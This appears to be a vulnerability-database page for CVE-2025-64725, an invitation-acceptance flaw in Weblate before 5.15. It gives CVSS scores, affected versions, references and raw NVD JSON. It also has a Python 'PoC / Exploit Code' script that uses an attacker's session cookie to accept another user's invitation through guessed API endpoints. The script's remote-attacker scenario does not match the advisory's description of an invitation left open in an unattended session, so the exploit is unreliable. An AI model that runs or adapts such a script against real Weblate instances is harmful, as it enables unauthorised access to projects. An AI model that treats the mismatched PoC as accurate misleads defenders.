Security Vulnerability Report
中文
CVE-2025-64725 CVSS 9.8 CRITICAL

CVE-2025-64725

Published: 2025-12-15 21:15:59
Last Modified: 2025-12-18 21:25:11

Description

Weblate is a web based localization tool. In versions prior to 5.15, it was possible to accept an invitation opened by a different user. Version 5.15. contains a patch. As a workaround, avoid leaving one's Weblate sessions with an invitation opened unattended.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:weblate:weblate:*:*:*:*:*:*:*:* - VULNERABLE
Weblate < 5.15

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-64725 PoC - Weblate Invitation Acceptance Authorization Bypass # This PoC demonstrates how an attacker can accept an invitation opened by another user TARGET_URL = "https://vulnerable-weblate-instance.com" ATTACKER_SESSION = "attacker_session_cookie_here" TARGET_INVITATION_ID = "invitation_id_to_accept" def exploit_invitation_bypass(): """ Exploit Weblate CVE-2025-64725 Attack scenario: Accept invitation opened by another user without proper authorization """ headers = { "Cookie": f"sessionid={ATTACKER_SESSION}", "Content-Type": "application/json", "X-CSRFToken": "csrf_token_here" } # Step 1: Get the invitation details (opened by target user) invitation_url = f"{TARGET_URL}/api/invitations/{TARGET_INVITATION_ID}/" response = requests.get(invitation_url, headers=headers) if response.status_code != 200: print(f"[-] Failed to access invitation: {response.status_code}") return False invitation_data = response.json() print(f"[*] Invitation details: {invitation_data}") # Step 2: Accept the invitation using attacker's session # The vulnerability allows accepting invitations opened by other users accept_url = f"{TARGET_URL}/api/invitations/{TARGET_INVITATION_ID}/accept/" accept_response = requests.post(accept_url, headers=headers, json={}) if accept_response.status_code in [200, 201]: print("[+] Successfully accepted invitation!") print("[*] Attacker now has access to resources intended for target user") return True else: print(f"[-] Failed to accept invitation: {accept_response.status_code}") return False def main(): if len(sys.argv) < 4: print("Usage: python cve_2025_64725_poc.py <target_url> <session_cookie> <invitation_id>") sys.exit(1) global TARGET_URL, ATTACKER_SESSION, TARGET_INVITATION_ID TARGET_URL = sys.argv[1] ATTACKER_SESSION = sys.argv[2] TARGET_INVITATION_ID = sys.argv[3] print(f"[*] Exploiting CVE-2025-64725 on {TARGET_URL}") exploit_invitation_bypass() if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-64725", "sourceIdentifier": "[email protected]", "published": "2025-12-15T21:15:59.330", "lastModified": "2025-12-18T21:25:11.403", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Weblate is a web based localization tool. In versions prior to 5.15, it was possible to accept an invitation opened by a different user. Version 5.15. contains a patch. As a workaround, avoid leaving one's Weblate sessions with an invitation opened unattended."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:H/AT:P/PR:L/UI:P/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 1.0, "baseSeverity": "LOW", "attackVector": "LOCAL", "attackComplexity": "HIGH", "attackRequirements": "PRESENT", "privilegesRequired": "LOW", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-286"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:weblate:weblate:*:*:*:*:*:*:*:*", "versionEndExcluding": "5.15", "matchCriteriaId": "14EFFA2F-0B87-4B40-936D-8A2BFBB069A2"}]}]}], "references": [{"url": "https://github.com/WeblateOrg/weblate/commit/02e904675f0608a6bbfbf9466eeccd9d022591e9", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/WeblateOrg/weblate/pull/16913", "source": "[email protected]", "tags": ["Issue Tracking"]}, {"url": "https://github.com/WeblateOrg/weblate/releases/tag/weblate-5.15", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/WeblateOrg/weblate/security/advisories/GHSA-m6hq-f4w9-qrjj", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}